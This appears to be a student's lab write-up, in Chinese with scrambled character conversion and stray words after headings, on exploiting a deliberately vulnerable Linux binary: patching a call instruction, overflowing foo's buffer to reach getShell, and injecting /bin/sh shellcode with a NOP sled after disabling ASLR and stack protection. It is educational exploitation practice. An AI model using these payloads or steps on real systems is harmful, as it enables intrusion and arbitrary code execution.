Exp1 PC平臺逆向破解 Week3 - 20165201

#Exp1 PC平臺逆向破解 Week3 - 20165201

(因爲圖片比較大,看的時候須要關閉側邊欄~)
##實踐目標html

  • 本次實踐的對象是一個名爲pwn1的linux可執行文件。
  • 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
  • 該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode

##實踐內容linux

  • 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
  • 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
  • 注入一個本身製做的shellcode並運行這段shellcode。

這幾種思路,基本表明現實狀況中的攻擊目標:git

  • 運行本來不可訪問的代碼片斷
  • 強行修改程序執行流
  • 注入運行任意代碼

##基礎知識
(EIP、ESP寄存器的相關知識寫在了博客最後面)shell

  • 熟悉Linux基本操做
  • 能看懂經常使用指令,如管道(|),輸入、輸出重定向(>)等
  • 理解Bof的原理
  • 能看得懂彙編、機器指令、EIP、指令地址
  • 會使用gdb,vi

##實驗步驟及具體操做
###一、直接修改程序機器指令,改變程序執行流程vim

  • 知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進制編輯工具windows

  • 學習目標:理解可執行文件與機器指令sass

  • 進階:掌握ELF文件格式,掌握動態技術dom

(1)首先將pwn1用cp拷貝到做業目錄,而後用mv進行重命名
ide

(2)輸入objdump -d 20165201pwn1進行反彙編
函數

  • 先看第12行,call 8048491是彙編指令

    • 是說這條指令將調用位於地址8048491處的foo函數;
    • 其對應機器指令爲e8 d7ffffffe8即跳轉之意
    • 原本正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令呢,CPU就會轉而執行 EIP + d7ffffff這個位置的指令。d7ffffff是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值,
  • main函數調用foo,對應機器指令爲e8 d7ffffff

    • 那咱們想讓它調用getShell,只要修改d7ffffff爲,getShell-80484ba對應的補碼就行。
    • 用Windows計算器,直接 47d-4ba就能獲得補碼,是c3ffffff

(3)vim 20165201pwn1

(4)先按esc,以後輸入:%!xxd,以顯示16進制內容

(5)輸入/e8 d7快速找到咱們想要的地方,注意必定要加空格!

(6)按i進入插入模式,修改d7爲c3

(7):%!xxd -r將16進制內容轉換爲原來的格式;

(8):wq保存並退出

(9)./20165201pwn1,但此時提示權限不夠

須要用chmod +x 20165201pwn1來附加權限
這時再次輸入./20165201pwn1,就能夠正常調用getshell了~

###二、經過構造輸入參數,形成BOF攻擊,改變程序執行流

  • 知識要求:堆棧結構,返回地址
  • 學習目標:理解攻擊緩衝區的結果,掌握返回地址的獲取
  • 進階:掌握ELF文件格式,掌握動態技術

(1)首先拷貝一份pwn1,而後用mv進行重命名

(2)輸入objdump -d 20165201pwn2進行反彙編

  • 咱們的目標是觸發getshell函數
  • 該可執行文件正常運行是調用函數foo,這個函數有Buffer overflow漏洞
  • 這裏讀入字符串,但系統只預留了 32 字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址
  • call調用了foo,同時在堆棧上壓上返回地址值:80484ae

(3)確認輸入字符串哪幾個字符會覆蓋到返回地址

若是輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給20165201pwn2,20165201pwn2就會運行getShell

(4)確認用什麼值來覆蓋返回地址
getShell的內存地址,經過反彙編時能夠看到,即0804847d

接下來要確認下字節序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d
仍是輸入11111111222222223333333344444444\x7d\x84\x04\x08

對比以前 eip 0x34333231 0x34333231 ,正確應用輸入 11111111222222223333333344444444\x7d\x84\x04\x08

(5)構造輸入字符串

由爲咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此先生成包括這樣字符串的一個文件。\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵

關於Perl: Perl是一門解釋型語言,不須要預編譯,能夠在命令行上直接使用。 使用輸出重定向「>」將perl生成的字符串存儲到文件input中

可使用16進制查看指令xxd查看input文件的內容是否如預期

而後將input的輸入,經過管道符「|」,做爲20165201pwn2的輸入

成功!!!

###三、注入Shellcode並執行

(1)準備一段Shellcode

  • shellcode就是一段機器指令(code)
  • 一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),
  • 因此這段機器指令被稱爲shellcode。
  • 在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。

最基本的shellcode的編寫可參考學姐的文章Shellcode入門,寫得很是之清楚詳實。如下實踐即便用該文章中生成的shellcode。以下:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\ 關於更多Shellcode的知識,請參考Shellcode基礎(不過頁面好像掛了......)

(2)準備工做
要注意的是,咱們的實驗目前是在很是簡單的一個預設條件下完成的:

  • 關閉堆棧保護(gcc -fno-stack-protector)
  • 關閉堆棧執行保護(execstack -s)
  • 關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)
  • x32環境下
  • Linux實踐環境

須要咱們修改設置以下:

apt-get install execstack //安裝execstack命令  
execstack -s pwn1 //設置堆棧可執行  
execstack -q pwn1 //查詢文件的堆棧是否可執行  
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化   
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化  
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化

(3)構造要注入的payload

  • Linux下有兩種基本構造攻擊buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr
  • 由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面,簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊

  • 咱們這個buf夠放這個shellcode了,結構爲:nops+shellcode+retaddr

    • nop一爲是了填充,二是做爲「着陸區/滑行區」。
    • 咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode

輸入perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 其中32個A是爲了填充緩衝區,而\x04\x03\x02\x01是預留的返回地址retaddr

接下來咱們來肯定\x4\x3\x2\x1到底該填什麼

打開一個終端注入這段攻擊buf:(cat input_shellcode;cat) | ./20165201pwn2

打開一個終端輸入ps -ef | grep 20165201pwn2來查找進程號,能夠看到第一行,進程號即爲7613

打開另外一個終端,用gdb調試,輸入指令attach 7613

(4)經過設置斷點,來查看注入buf的內存地址
disassemble foo命令反彙編,查看foo函數

break *0x080484ae命令設置斷點,在以前的終端中按下回車,這就是前面爲何不能以\x0a(換行符)來結束 input_shellcode的緣由,輸入c命令繼續運行
info r esp命令查找地址,這裏能夠看到堆棧指針esp0xffffd2ec

咱們輸入x/16x 0xffffd2ec查看其存放內容,看到0x01020304了,就是返回地址的位置。shellcode就挨着,因此shellcode的起始地址是0xffffd2f0(加4字節)

那麼思路很清晰了,接下來將以前的\x4\x3\x2\x1改成這個地址便可,輸入命令perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
圖中的紅框就是咱們剛剛找到的shellcode起始地址
注入成功!!!

##錯誤記錄和遇到的問題
###一、權限不夠,調試失敗

   解決辦法:輸入chmod +x 20165201pwn2附加權限

###二、輸入ps -ef | grep 20165201pwn2時,缺乏./20165201pwn2進程

解決辦法:在這一步運行的時候,沒用gdb調試以前千萬別輸入回車鍵!!!只輸入(cat input_shellcode;cat) | ./20165201pwn2,以後gdb調試。不然就執行完了!!!

###三、ESP寄存器
ESP專門用做堆棧指針,被形象地稱爲棧頂指針,存放當前線程的棧頂指針,堆棧的頂部是地址小的區域,壓入堆棧的數據越多,ESP也就愈來愈小。在32位平臺上,ESP每次減小4字節

###四、EIP寄存器
EIP寄存器存放下一個CPU指令存放的內存地址,當CPU執行完當前的指令後,從EIP寄存器中讀取下一條指令的內存地址,而後繼續執行

##參考資料 (1)逆向及Bof基礎實踐說明
(2)Shellcode入門

相關文章
相關標籤/搜索